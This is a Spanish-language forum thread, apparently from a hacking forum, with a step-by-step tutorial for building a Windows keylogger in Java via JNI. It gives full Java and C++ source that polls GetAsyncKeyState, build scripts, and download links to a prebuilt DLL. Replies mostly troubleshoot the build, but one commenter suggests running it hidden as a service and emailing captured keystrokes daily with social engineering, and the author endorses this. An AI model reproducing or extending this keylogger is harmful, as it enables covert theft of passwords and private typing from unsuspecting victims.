Hola a todos! ::) Aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++
Necesitas los archivos:
jni_md.hhttp://www.mediafire.com/?wt30y33j4mg
jni.hhttp://www.mediafire.com/?zngnmognn5h
Los cuales incluiran en el directorio "C:\Archivos de programa\Dev-Cpp\include"
- Paso 1: Creación del Archivo .java
Importante: No tiene que estar en ningun Package
public class Keylogger extends Thread {
private boolean running=true;
private int value =0;
private native int get();
static {
System.loadLibrary("Keylogger");
/**
* Carga de la DLL
*/
}
@Override
public synchronized void run(){
while(running){
value = get();
/**
* Optenemos la Tecla Precionada
*/
System.out.println((char)value);
/**
* La Mostramos en la Salida Estandar
*/
}
}
}
- Paso 2: Creación del .bat para compilacion JNI (Opcional)
Nombre: CompilerJNI.bat
@echo off
title Java
set/p j= .java :
echo.
call javac %j%.java
call javah -jni %j%
pause
echo.
exit
- Paso 3: Generando el . Class y la Cabecera .h (JNI)
Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension.
Podrias compilar direcamente desde la consola
javac Keylogger.java
javah -jni KeyloggerTienes que tener algun JDK
Abrimos el DEV++
File--->New---->Project--->DLL(http://r.i.elhacker.net/cache?url=http://s4.subirimagenes.com/privadas/940888im.png)
Luego veremos 2 Archivos (dllMain.cpp) y la cabecera .h (dll.h) ,
remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>/* Header for class Keylogger */
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
#endif
#undef Keylogger_MIN_PRIORITY
#define Keylogger_MIN_PRIORITY 1L
#undef Keylogger_NORM_PRIORITY
#define Keylogger_NORM_PRIORITY 5L
#undef Keylogger_MAX_PRIORITY
#define Keylogger_MAX_PRIORITY 10L
#undef Keylogger_DELAY
#define Keylogger_DELAY 20L
/** Class: Keylogger
* Method: get
* Signature: ()I
*/
JNIEXPORT jint JNICALL Java_Keylogger_get (JNIEnv *, jobject);
#ifdef __cplusplus
}
#endif
#endif
Si da problemas
Este archivo tiene que estar en
C:\Archivos de programa\Dev-Cpp\includeahora remplazar el contenido de dllMain.cpp por este:
[/list]
#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h>
#include "Keylogger.h"
JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
while(true){
for(int c=8;c<=222;c++){
if(GetAsyncKeyState(c)==-32767)
return c;
}
Sleep(30);
}
}
Y guardar como Keylogger.cpp
Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL
Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.
public class Main {
public static void main(String[] args) {
new Keylogger().start();
}
}
Aqui les dejo la DLL Keylogger.dll
http://www.mediafire.com/?e03u9r0emaerf9g
Un Saludo.
Muy bueno el tutorial ;D
:) gracias Crapsalot
Saludos
olap, una consulta, para que tu keylogger sea mas "productivo" xD no seria mejor ponerlo como servicio (con el wrapper x ejemplo) y en lugar de escribir en consola guardarlo en un archivo de texto, y que diariamente envie a un correo ya establecidoa traves de javaMail x ejemplo :) y con un poco de ingenieria social ... xD . supongo k tenias eso en mente pero no lo colocaste por etica ... igual supongo k mi idea no fue la primera ni sera la ultima U_U
lo k si estoy un poco en duda, es si lo que hiciste no seria mejor con JNA ?? simplemente el trabajo seria ubicar la DLL del api de windows que captura los eventos del teclado, el problema es cual ??? alguien sabe ?? en lo personal me parece mas facil y transparente usar JNA ....
de todas maneras se agradece el aporte :)
estuve siguiendo tus pasos, y tuve problemas en el DevCpp , cuando intento compilar para generar el DLL no encuentra el jni.h como hago para solucionar eso ???
ya lo solucione, tenia k llevar los .h del jdk U_U
pero la duda es como lo ejecuto ?? osea estuve haciendo un ekivalente en netbeans con su package y tiene problemas en ejecutar el javah -jni ... sale que no encuentra la clase o algo por el estilo .... haber si me das una mano
Cita de: cooljsh en 26 Marzo 2010, 15:12 PM
olap, una consulta, para que tu keylogger sea mas "productivo" xD no seria mejor ponerlo como servicio (con el wrapper x ejemplo) y en lugar de escribir en consola guardarlo en un archivo de texto, y que diariamente envie a un correo ya establecidoa traves de javaMail x ejemplo :) y con un poco de ingenieria social ... xD . supongo k tenias eso en mente pero no lo colocaste por etica ... igual supongo k mi idea no fue la primera ni sera la ultima U_U
lo k si estoy un poco en duda, es si lo que hiciste no seria mejor con JNA ?? simplemente el trabajo seria ubicar la DLL del api de windows que captura los eventos del teclado, el problema es cual ??? alguien sabe ?? en lo personal me parece mas facil y transparente usar JNA ....
de todas maneras se agradece el aporte :)
Eso lo pense cuando lo estaba haciendo jaja de enviar al email pero eso algo simple de hacer ademas esa esta es la base, cada quien vera que es lo que quiere hacer ;)
-------------------------
Y por que no Use JNA, simple no domino Jna :P, solamente he hecho una consola para linux en JNA y es mucho :xD
-------------------------
Cita de: cooljsh en 26 Marzo 2010, 16:01 PM
ya lo solucione, tenia k llevar los .h del jdk U_U
pero la duda es como lo ejecuto ?? osea estuve haciendo un ekivalente en netbeans con su package y tiene problemas en ejecutar el javah -jni ... sale que no encuentra la clase o algo por el estilo .... haber si me das una mano
Tienes que especificas mas, y en que paso te has quedado
no se si soy el unico que tine problemas para ver dos imagenes de tu post probablemente el link esta roto no sera mucha molestia corregirlo
muy buen aporte es bueno tener buenos post :D
bueno apenas tenga tiempo voy a ponerle unas interfases o clases abstractas para que el resto pueda modificarlo para su sistema operativo(herencia) ademas voy a tratar de crearle un gui
luego lo voy a conpartir con ustedes
si alguno gusta me pone unas historias de usuario y pruevas de aceptacion ::)
tengo el presentimiento de que este topic va a ser muyyyy largo :xD
Y dale programando con DevCpp programa con Codeblocks
usar DevCpp es como usar el primer IE
bueno en fin
Buen tutorial men ;)
Cita de: rubencito75 en 29 Marzo 2010, 16:19 PM
He seguido este tutorial y no consigo saber como se hace el paso 2. Yo lo he intentado hacer de una manera lo más parecido posible:
1- Con el netbeans 6.8 he creado un nuevo proyecto y he compilado la clase keylogger.
2- En el segundo paso, como no sabía como se hacia, he copiado los archivos Keylogger.java y Keylogger.class (generados por el netbeans) a una carpeta vacia y en la consola de windows he puesto el siguiente comando: "javah Keylogger" para generar el archivo de cabecera "Keylogger.h".
3- Ese archivo de cabecera lo he renombrado a keylog.h, lo he copiado a la misma carpeta donde se generan los archivos del c++ y lo he importado al keylogger.cpp (sustituyendo el dll.h como se indica en el tutorial). He copiado el codigo del paso 4 tal cual viene y he compilado.
4- Una vez generado el archivo keylogger.dll, he copiado este archivo a las carpetas /src y /build/classes (donde están los archivos .java y .class respectivamente). Luego he creado una clase Main con su metodo main para ejecutar el keylogger.
He seguido esos pasos pero me da error al ejecutar el codigo java:
Exception in thread "main" java.lang.UnsatisfiedLinkError: no Keylogger in java.library.path
at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1734)
at java.lang.Runtime.loadLibrary0(Runtime.java:823)
at java.lang.System.loadLibrary(System.java:1028)
at Keylogger.<clinit>(Keylogger.java:6)
at Main.main(Main.java:7)
Java Result: 1
Me da error en la siguiente linea:
System.loadLibrary ("Keylogger"); //Preparamos la carga de la DLL
He probado a renombrar "Keylogger" por "keylogger" y "keylogger.dll" pero me da el mismo error todo el rato. ¿Alguno sabe por qué puede ser?
1. La libreria tiene que estar fuera del src y bin, y asegurate de que el .java no este en ningun package
2. No se por que le da errores creo que mas facil explicado imposible :( yo le he probado cientos de veces y no tengo problemas con nada :xD
Cita de: sapito169 en 29 Marzo 2010, 16:42 PM
no se si soy el unico que tine problemas para ver dos imagenes de tu post probablemente el link esta roto no sera mucha molestia corregirlo
muy buen aporte es bueno tener buenos post :D
bueno apenas tenga tiempo voy a ponerle unas interfases o clases abstractas para que el resto pueda modificarlo para su sistema operativo(herencia) ademas voy a tratar de crearle un gui
luego lo voy a conpartir con ustedes
si alguno gusta me pone unas historias de usuario y pruevas de aceptacion ::)
tengo el presentimiento de que este topic va a ser muyyyy largo :xD
Cierto hay problemas con algunas img, lo solucionare a penas instale vbox :xD
PD: egyware creo que tenemos que teminar lo que tenemos pendiente :¬¬ :xD
donde consigo el -jni.h y el jni_md.h??
edit:
solucionado
____
aprobecho para poner otro inconveniente...
al ejecutarlo me dice que no tiene main, pero... ¿que tendria que poner en el main??
codigo del error si pongo un main
Exception in thread "Thread-0" java.lang.UnsatisfiedLinkError: keylog$Keylogger.get()C
at keylog$Keylogger.get(Native Method)
at keylog$Keylogger.run(keylog.java:33)
este es el main
public static void main(String[] args) {
Keylogger Hilo= new Keylogger();
Hilo.start();
//y por aqui tu code
}
En el main solo has de crear la instancia he iniciar con start(); y donde dices en el comentario que hay va el code haslo mejor separado, es decir el main aparte y el keylogger otra clase, o seguramente creaste mal la lib ya que te compila pero en si puede estar mal generada y no lo sabes ,asi que verifica que copiaste bien el code de la cabecera .h
Un Saludo.
nada, que no va :(
salta el mismo error, y he vuelto a compilarlo todo desde 0
puede ser porque el eclipse no me deje trabajar con .java si no estan en packages??
Copia el contenido del Keylogger.cpp nuevamente, es que le habia dejado una variables initilizadas.
Esta es la dll generada
Keylogger.dll
http://www.mediafire.com/?e03u9r0emaerf9g
Un Saludo.
:o buen aporte! esta genial.. pero una duda... por que no retornar JStrings en vez de JChars?? asi ya se podrían diferenciar entre tecla [ctrl] [shift] y demás?.. Aunque bueno, creo q eso ya es idea de cada quien. :)
Saludos!
Cita de: danyelk_6u5 en 21 Junio 2010, 18:27 PM
:o buen aporte! esta genial.. pero una duda... por que no retornar JStrings en vez de JChars?? asi ya se podrían diferenciar entre tecla [ctrl] [shift] y demás?.. Aunque bueno, creo q eso ya es idea de cada quien. :)
Saludos!
Cierto, lo que paso fue que no sabia mucho de JNI en ese entonces :xD, y asi se quedo, pero lo importante es que logre la base, ya la modificaciones depende de cada quien
Cita de: LEYER en 21 Junio 2010, 23:06 PM
Cita de: danyelk_6u5 en 21 Junio 2010, 18:27 PM
:o buen aporte! esta genial.. pero una duda... por que no retornar JStrings en vez de JChars?? asi ya se podrían diferenciar entre tecla [ctrl] [shift] y demás?.. Aunque bueno, creo q eso ya es idea de cada quien. :)
Saludos!
Cierto, lo que paso fue que no sabia mucho de JNI en ese entonces :xD, y asi se quedo, pero lo importante es que logre la base, ya la modificaciones depende de cada quien
Bueno, un granito de arena para los que le interese, la manera para devolver un JString es:
if (GetAsyncKeyState('A') == -32767){ return env->NewStringUTF("a");}
if (GetAsyncKeyState('B') == -32767){return env->NewStringUTF("b");}
if (GetAsyncKeyState('C') == -32767){return env->NewStringUTF("c");}
//...etc, etc.
//y todo lo demás es lo mismo :)
//Aunque tendrían que cambiarle el tipo de retorno del metodo,
//poner jstring en vez de jchar, quedando así:
JNIEXPORT jstring JNICALL Java_Keylogger_getString(JNIEnv * env, jobject obj){
// y obviamente en la clase java igual hay que cambiar una linea de códico
private native String getString();
Hay otras formas de hacerlo, pero esta me pareció la mas sencilla de aprender :) ...
Cita de: osrieldei en 9 Junio 2010, 07:00 AM
man un favor cuando hago el compilado de proyecto en c me sale estos errores
In function 'jchar Java_Keylogger_get(JNIEnv", _jobject")';
[Warning] passing NULL used for non-pointer converting 2 of 'BOOL ShowWindow(HWND__",int)'
[Linker error] undefined reference to 'WinMain@16'
Id returned 1 exit status
[Linker error] undefined reference to 'WinMain@16'Debes recompilar para crear una "biblioteca dinamica(dll)" no un programa por eso te pide el main.
Saludos
Cita de: cooljsh en 26 Marzo 2010, 15:12 PM
olap, una consulta, para que tu keylogger sea mas "productivo" xD no seria mejor ponerlo como servicio (con el wrapper x ejemplo) y en lugar de escribir en consola guardarlo en un archivo de texto, y que diariamente envie a un correo ya establecidoa traves de javaMail x ejemplo :) y con un poco de ingenieria social ... xD . supongo k tenias eso en mente pero no lo colocaste por etica ... igual supongo k mi idea no fue la primera ni sera la ultima U_U
lo k si estoy un poco en duda, es si lo que hiciste no seria mejor con JNA ?? simplemente el trabajo seria ubicar la DLL del api de windows que captura los eventos del teclado, el problema es cual ??? alguien sabe ?? en lo personal me parece mas facil y transparente usar JNA ....
de todas maneras se agradece el aporte :)
Si el API para esa funcion se llama int GetAsyncKeyState(int vkey)
y esta en la dll llamada user32.dll
Excelenteeee!!!! ;-) ;-)
felicidades, me ha sorprendido la tecnica de usar JAVA Y C++ para el proposito!
Por que no anclan este hilo?
Porque como tal no tiene un valor general, por eso esta entre la lista de los mejores posts del foro.
Saludos
Le tuve que hacer una actualización estaba un poco mal hecho :P
un saludo.
:-[
alguien ya lo tiene ya listo para usarse por que he tratado y me quede en el paso Paso 1: Creación del Archivo .java
por que no se como llamar al archivo si keylogger.java
y despues
en donde guardo ese archivo.
despues en el paso 2
javac Keylogger.java
javah -jni Keylogger
al poner esto en la consola de java me sale un error, alguien me podra ayuda.
:(
gracias amigos
@miguelvmonroy:
Es por que tienes modificar el path del sistema colocándole la ruta donde tienes el jdk.
De todas formas si te da muchos problemas fíjate que al final coloque la dll ya generada solo tienes que descargarla y usarla.
Un saludo.
Que bien tu tutorial... ;-)
Se te Felicita sigue así...
Saludos
christmo
Hola a todos,
Estoy haciendo el tutorial del primer post, y tengo una duda al final del tutorial. Una vez he conseguido crear la dll, creo un proyecto con netbeans llamado Keylogger. Una vez esto, en el main copio el main que pusiste al final del tutorial:
public class Keylogger {
public static void main(String[] args) {
new Keylogger().start();
}
}
Después copio la dll creada en la carpeta src de este proyecto donde se encuentra el Keylogger.java.
Y al final cuando compilo el proyecto con el netbeans, me da un error en la linea new Keylogger().start(); donde me dice que no ha encontrado el metodo start.
Alguien me puede ayudar????
Tengo que cambiar algo???
Gracias por la ayuda.
Tienes que colocarle un nombre diferente de la clase de Keylogger
public class MainClass {
public static void main(String[] args) {
new Keylogger().start();
}
}
Hola Leyer,
Me gustaria agregarte a mi msn porque estoy haciendo el proyecto de final de carrera, y necesito utilizar lo de este post; y como tengo varias dudas, me gustaria poder chatear contigo para pedirte varias cosas. Mi email es: ¿¿¿¿¿¿
Gracias.
Hola leyer,
Te explico lo que tengo hecho:
1_ He creado la libreria Keylogger.dll
2_ He creado un proyecto con netBeans llamado "Prova"
3_ He copiado la dll en la carpeta C:\...\NetBeansProjects\Prova\src\prova
4_ He creado una classe dentro del proyecto llamada Keylogger, donde he copiado el codigo:
package prova;
public class Keylogger extends Thread {
private boolean running=true;
private int value =0;
private native int get();
static {
System.loadLibrary("Keylogger");
/**
* Carga de la DLL
*/
}
@Override
public synchronized void run(){
while(running){
value = get();
/**
* Optenemos la Tecla Precionada
*/
System.out.println((char)value);
/**
* La Mostramos en la Salida Estandar
*/
}
}
}
5_ Una vez creado, he creado otra classe dentro del paquete llamada "Main", donde he escrito:
package prova;
public class Main {
public static void main(String[] args) {
new Keylogger().start();
}
}
Así es como me queda en el netBeans:
(http://C:%5CUsers%5CRafel%5CDesktop%5CPaqueteProva.png)
6_ A partir de aquí, compilo con netBeans y no me da ningún error, pero cuando ejecuto, me da el siguiente error:
Exception in thread "Thread-0" java.lang.UnsatisfiedLinkError: prova.Keylogger.get()I
at prova.Keylogger.get(Native Method)
at prova.Keylogger.run(Keylogger.java:25)
Qué puedo hacer mal???
Gracias anticipadamente,
Rafel
P.D.: Si me quieres agregar en el hotmail (??????????) te puedo enviar el proyecto para ver si sabes lo que puedo hacer mal.
Adiós!!!!
NO tiene que estar en ningun package
y como hago que no esté dentro de ningún package???? pero que pueda utilizarse dentro de un proyecto netBeans??
cuando lo hago, en el main de mi proyecto, ya no puedo hacer:
new Keylog().start(); porque no encuentra Keylog
Gracias.
Cita de: egyware en 29 Marzo 2010, 17:11 PM
Y dale programando con DevCpp programa con Codeblocks
usar DevCpp es como usar el primer IE
bueno en fin
Buen tutorial men ;)
como generas una buena dll con CB?? , a la hora de darle en consona java <nombre de la clase> me da error ( si uso el Dev c++ ,normal me hace el llamado java)
Exception in thread "main" java.lang.UnsatisfiedLinkError: HelloWorld.print()V
at HelloWorld.print(Native Method)
at HelloWorld.main(HelloWorld.java:4)
Saludos levyer si me ves ,estuve probando a ver si te contactaba pero creo que los
privados no funcionan,mi problema es que al compilar exportando el jar,
no se m incluye ninguna dll ,y si la meto ,dice que no la encuentra en library path
¿qué hasy que hacer? siento revivir el post
Saludos levyer, como se puede crear una clase en netbeans sin paquetes?
Brother no es que sea mala leche, pero creo que es de lógica común tratar de tener el foro ordenado y no revivir temas más muertos que Enrique VIII.
Eso primero, y lo otro, es una pregunta tan insignificante que lo puedes encontrar en google en 1 minuto.
Como ya está hecho, dale clic derecho en 'default package' y crea una clase. Tan simple como eso. Te recomiendo que no lo hagas, acostúmbrate a tener buenas prácticas de programación (Lee al respecto).